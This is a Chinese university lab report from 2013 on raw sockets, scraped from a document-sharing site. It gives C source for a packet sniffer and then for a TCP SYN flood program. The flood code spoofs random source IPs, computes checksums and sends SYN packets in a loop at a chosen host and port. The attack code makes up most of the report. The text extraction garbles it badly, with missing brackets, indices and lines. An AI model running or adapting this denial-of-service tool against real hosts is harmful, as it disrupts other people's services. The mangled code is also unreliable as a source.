已阅读5页,还剩11页未读, 继续免费阅读
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
四 川 大 学 计 算 机 学 院、软 件 学 院实 验 报 告 学号: 姓名:专业:_软件工程_ 班级: 第 12 周 课程名称 信息安全产品开发实践 实验课时4实验项目原始套接字实验时间2013.11.29实验目的 利用原始套接字实现一个TCP SYS flooding 程序 实验环境 虚拟机 Red Hat Enterprise Linux-VMware Workstation 实验内容(算法、程序、步骤和方法) 由于我们在这次实验中只需要对IP和TCP头部进行修改,所以使用的是网络层原始套接字。 这个实验考验的是对IP和TCP报头结构体的了解,其实在之前的实验我们就已经有所接触,在嗅探器中我们就是把接收到的数据包进行分解,分别先后解封IP头部,再解封TCP头部(越底层的数据越放在前面)。这一部分知识可以参考在老师的demo程序packet.c,那是一个使用链路层套接字的嗅探器,不过在输出ip地址那部分需要改动一下才能正常运行。下面把修改后的packet展示一下:#include #include #include #include #include #include #include #include #include #include int main(int argc, char *argv) int sock, n; char buffer2048; struct ethhdr *eth; struct iphdr *iph; struct tcphdr *tcph; if (0(sock=socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP) perror(socket); exit(1); int num = 1; while (1) printf(=n); /注意:在这之前我没有调用bind函数,原因是什么呢? n = recvfrom(sock,buffer,2048,0,NULL,NULL); printf(number: %d ,num+); printf(%d bytes readn,n); /接收到的数据帧头6字节是目的MAC地址,紧接着6字节是源MAC地址。 eth=(struct ethhdr*)buffer; printf(Dest MAC addr:%02x:%02x:%02x:%02x:%02x:%02xn,eth-h_dest0,eth-h_dest1,eth-h_dest2,eth-h_dest3,eth-h_dest4,eth-h_dest5); printf(Source MAC addr:%02x:%02x:%02x:%02x:%02x:%02xn,eth-h_source0,eth-h_source1,eth-h_source2,eth-h_source3,eth-h_source4,eth-h_source5); iph=(struct iphdr*)(buffer+sizeof(struct ethhdr); /我们只对IPV4且没有选项字段的IPv4报文感兴趣 / if(iph-version =4 & iph-ihl = 5) if(iph-version =4)char addr_p1INET_ADDRSTRLEN;char addr_p2INET_ADDRSTRLEN;inet_ntop(AF_INET,&iph-saddr,addr_p1,sizeof(addr_p1);inet_ntop(AF_INET,&iph-daddr,addr_p2,sizeof(addr_p2); printf(Source host:%sn,addr_p1); printf(Dest host:%sn,addr_p2); if(iph-protocol=6)/TCP tcph=(struct tcphdr*)(buffer+sizeof(struct ether_header)+sizeof(struct ip); printf(Sourport:%dn,ntohs(tcph-source); printf(Destport :%dn,ntohs(tcph-dest); 这里主要修改的地方是:1、 原代码问题:在输出ip那部分需要利用inet_ntop函数,不然程序运行出问题。2、 加入了TCP头部解封,输出源端口和目的端口,当然还要把相应的头文件加入。 其实只要把上面这程序和这次的syn flood结合起来再做点修改就可以做出一个syn端口扫描器。(接上)实验内容(算法、程序、步骤和方法)而这次的syn flood程序中做的就是和嗅探器相反的工作:先封装IP头部,再封装TCP头部。程序的主要流程就是:构造IP头部构造TCP头部发送数据。这是一个循环的过程(不停发送syn攻击),里面需要注意:1、 TCP头部中syn要标记为1,其它皆为0。 2、每循环一次,伪装的源IP地址就要改一次,那IP头部的校验和就要重新计算,当底层的报头有所改变(IP头部),那上层的头部TCP头部的校验和同样要重新计算。有关检验部分,在运行syn flood程序之前,必须先运行一个服务器程序来作为攻击目标。关于观测端口连接情况,老师提供的是netstat -tn,如果想看得更加方便的话,可以使用netstat -tn | grep “:888”这样来监视某个端口。#include /printf #include /memset #include /for exit(0); #include #include /For errno - the error number #include #include /hostend #include #include /Provides declarations for tcp header #include /Provides declarations for ip header unsigned short csum(unsigned short * , int ); struct pseudo_header /needed for checksum calculation unsigned int source_address; unsigned int dest_address; unsigned char placeholder; unsigned char protocol; unsigned short tcp_length; struct tcphdr tcp; ; struct in_addr dest_ip; int main(int argc, char *argv) /Create a raw socket int s = socket (AF_INET, SOCK_RAW , IPPROTO_TCP); if(s 0) printf (Error creating socket. Error number : %d . Error message : %s n , errno , strerror(errno); exit(0); else printf(Socket created.n); /Datagram to represent the packet char datagram4096; /IP header struct iphdr *iph = (struct iphdr *) datagram; /TCP header struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip); struct sockaddr_in dest; struct pseudo_header psh; char *target = argv1; if(argc 3) printf(Please specify a hostname and a port n); exit(1); /get the target ip dest_ip.s_addr = inet_addr( target ); /IP_HDRINCL to tell the kernel that headers are included in the packet int one = 1; const int *val = &one; if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one) ihl = 5; iph-version = 4; iph-tos = 0; iph-tot_len = sizeof (struct ip) + sizeof (struct tcphdr); iph-id = htons (54321); /Id of this packet iph-frag_off = htons(16384); iph-ttl = 64; iph-protocol = IPPROTO_TCP; iph-check = 0; /Set to 0 before calculating checksum iph-saddr = sour_ip.s_addr; /Spoof the source ip address iph-daddr = dest_ip.s_addr; iph-check = csum (unsigned short *) datagram, iph-tot_len 1); /TCP Header tcph-source = htons ( source_port ); tcph-dest = htons (atoi(argv2); tcph-seq = htonl(1105024978); tcph-ack_seq = 0; tcph-doff = sizeof(struct tcphdr) / 4; /Size of tcp header tcph-fin=0; tcph-syn=1; tcph-rst=0; tcph-psh=0; tcph-ack=0; tcph-urg=0; tcph-window = htons ( 14600 ); / maximum allowed window size tcph-check = 0; /if you set a checksum to zero, your kernels IP stack should fill in the correct checksum during transmission tcph-urg_ptr = 0; tcph-check = 0; / if you set a checksum to zero, your kernels IP stack should fill in the correct checksum during transmission psh.source_address = sour_ip.s_addr; psh.dest_address = dest.sin_addr.s_addr; psh.placeholder = 0; tocol = IPPROTO_TCP; psh.tcp_length = htons( sizeof(struct tcphdr) ); memcpy(&psh.tcp , tcph , sizeof (struct tcphdr); tcph-check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header); dest.sin_family = AF_INET; dest.sin_addr.s_addr = dest_ip.s_addr; /Send the packet if ( sendto (s, datagram , sizeof(struct iphdr) + sizeof(struct tcphdr) , 0 , (struct sockaddr *) &dest, sizeof (dest) 1) sum+=*ptr+; nbytes-=2; if(nbytes=1) oddbyte=0; *(u_char*)&oddbyte)=*(u_char*)ptr; sum+=oddbyte; sum = (sum16)+(sum
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 企业旅游合作合同范本
- 2026年投资项目管理师之宏观经济政策考试题库300道含答案【培优b卷】
- 2026年试验检测师之交通工程考试题库300道(考点提分)
- 2026年试验检测师之交通工程考试题库300道附答案(巩固)
- 制作购物网的合同协议
- 2026年企业人力资源管理师之四级人力资源管理师考试题库300道含完整答案【易错题】
- 2026年试验检测师之交通工程考试题库300道含答案(综合卷)
- 占用土地征用合同范本
- 农村房屋搬迁合同范本
- 合伙汽车维修店协议书
- 工厂介绍文案
- 管路维修培训课件模板
- 辨析wear-be-in-dress-put-on-配套课件
- 因公出国人员审查表
- GB/T 42698-2023纺织品防透视性能的检测和评价
- 髋臼及股骨骨缺损的分型及评价-课件
- 物流统计与实务PPT完整版全套教学课件
- 减少老年住院患者口服药缺陷次数的pdca案例
- 护理安全警示教育
- 草诀百韵歌原文及译文
- GB/T 12970.4-2009电工软铜绞线第4部分:铜电刷线
评论
0/150
提交评论